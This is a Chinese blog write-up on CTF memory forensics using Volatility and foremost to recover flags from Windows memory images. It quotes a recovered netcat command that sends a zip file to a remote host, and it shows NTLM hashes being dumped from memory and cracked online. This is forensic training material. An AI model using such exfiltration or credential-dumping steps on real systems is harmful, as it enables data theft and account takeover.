前言:比赛看到取证类的题目,但是没了解过,所以很尴尬。比赛那道题没做出来,没有什么思路,所以等下师傅们的wp看看之后在进行复现。然后就在CTF平台上找了取证类的题目,进行学习一下。

知识了解

取证方法

  • 活取证
    —抓取文件metadata、创建时间线、命令历史、分析日志文件、哈希摘要、转存内存信息
    —使用未受感染的干净程序执行取证
    —U盘/网络 存储收集到的数据
  • 死取证
    —关机后制作硬盘镜像、分析镜像(MBR、GPT、LVM)

    取证工具

    目前学习kali中部分取证工具的使用。
    内存dump工具
    • 内存文件与内存大小接近或者稍微大点,raw格式。

取证工具volatility使用:
分析内存文件

1
2
3
4
5
6
>>> volatility imageinfo -f xp.raw		#文件信息,关注profile
>>> volatility hivelist -f xp.raw --profile=WinXPSP3x86 #数据库文件
>>> volatility -f xp.raw --profile=WinXPSP3x86 hivedump -o 0xe124f8a8 #按虚拟机内存地址查看注册表内容
>>> volatility -f xp.raw --profile=WinXPSP3x86 printkey -K "SAM\Domains\Account\User\Names" #用户账号
>>> volatility -f xp.raw --profile=WinXPSP3x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogin" #最后登录的用户
>>> volatility -f xp.raw --profile=WinXPSP3x86 userassist #正在运行的程序、运行过多少次、最后一次运行时间等

工具安装

我的是2020版本的kali,没有自带volatility,但是包管理中有,直接使用命令安装

1
apt-get install volatility

很快就安装好啦,百度也可以找到很多教程。不再细说。
然后就利用几道题来测试一下。

forensic

来自BUUCTF的题目。
下载后是一个512MB的raw文件,直接工具分析
m0re
这个有三个,一般是第一个。说一下,第一步,第一步必须先检测这个文件时什么系统生成的,后面的命令操作都需要profile,是必须指明操作系统的。所以这个很重要。

小插曲

使用工具时遇到这样的情况,
m0re
报错信息:No suggestion (Instantiated with no profile)
这个其实跟工具没关系,原因就是打开的文件不是符合规则的文件,也就是这个文件不是raw文件,所以没有suggest。昨天我一直以为是我的工具问题,着急半天,其实就是打开的文件不是volatility可以分析的文件。
OK,小插曲结束。
继续解题……
查看进程

1
volatility -f mem.raw --profile=Win7SP1x86_23418 pslist

m0re
注意这四个进程,
Dumpit.exe 一款内存镜像提取工具。

TrueCrypt.exe 一款磁盘加密工具。

Notepad.exe windows自带的记事本。

Mspaint.exe windows自带画图工具。

查看用户Home目录的文件,可以发现有一个用户保存的图片文件

1
volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

m0re
发现在picture中有个无标题的图片,
可以将这个图片dump下来

1
volatility -f mem.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000001efb29f8  --dump-dir=./

就可以在当前工作目录看到这个文件了。我的是在桌面。
m0re
查看桌面文件

1
volatility -f mem.raw --profile=Win7SP1x86 filescan | grep "Desktop"

m0re
这个软件在桌面运行,还看到它的LETHALBE3A-20190916-135515.raw 文件也在,这个文件是dumpit生成的,然后dump下这个文件
m0re
但是桌面上什么也没有,说明这个文件还没内容,也就是指明,在取证的时候,dumpit还在运行状态,所以raw里才没有数据。
然后可以dump下dumpit的内存镜像来试试。

1
volatility -f mem.raw --profile=Win7SP1x86 memdump -p 3380 -D ./

m0re
然后分析3380.dmp文件。
foremost分离得到一个包含flag.txt的一个文件。
m0re
找了好久发现在压缩包里
m0re
密码就是之前的那个无标题的图片内容。
1YxfCQ6goYBD6Q
m0re

未知题目

m0re
题目来源——https://www.freebuf.com/news/145262.html
同样的姿势,先查看操作系统的信息。使用imageinfo
发现是WinXPSP2x86
题目说在桌面写着什么,可能是记事本,不过不确定,可以pslist列一下。
m0re
看一遍,记事本才有可能写东西,所以直接列出notepad的内容

1
volatility -f m0re.raw --profile=WinXPSP2x86 notepad

发现有一串编码。
m0re

1
666C61677B57336C6563306D655F376F5F466F72336E356963737D

符合base16编码的规则。所以进行解密得到第一个flag。
flag{W3lec0me_7o_For3n5ics}
第二个问题,小白的密码,
hashdump可以将内存中的NTML提取出来:

1
volatility -f m0re.raw --profile=WinXPSP2x86 hashdump

m0re
找个在线网站进行破解1e581aafa474dfadfdf83fc31e4fd4ea
破解得到flag{19950101}
果然一般都是生日当密码。
第三个
传送文件就需要连接外机,刚看到有nc,所以他一定是用nc来传输文件的,这样一来就有目标了。使用connscan插件查看
m0re
可以看到本地机器是192.168.57.21的1045端口去连接了远程的192.168.57.14的2333端口,进程号是120,知道进程号就可以使用psscan(进程池扫描插件)来获取信息。
m0re
看到了确实是nc,而且还有cmd,则说明是在cmd的命令行下使用的nc连接的外机。使用cmdscan插件来查看命令历史记录。
m0re
看到使用了命令

1
2
3
ipconfig
cd C:\Program Files\Netcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

传输的文件是P@ssW0rd_is_y0ur_bir7hd4y.zip
可以使用memdump插件(转储进程的可寻址内存数据插件)导出使用nc发送的相关数据:

1
volatility -f m0re.raw --profile=WinXPSP2x86 memdump -p 120 --dump-dir=./

桌面生成一个120.dmp
跟上一题一样,foremost分离文件
有六个zip文件,挨个打开看看,输入密码19950101得到flag
m0re
到此,内存取证入门。下次再详细地学习活取证和死取证

参考博客
http://www.bubuko.com/infodetail-3418258.html
内存取证三项CTF赛题详解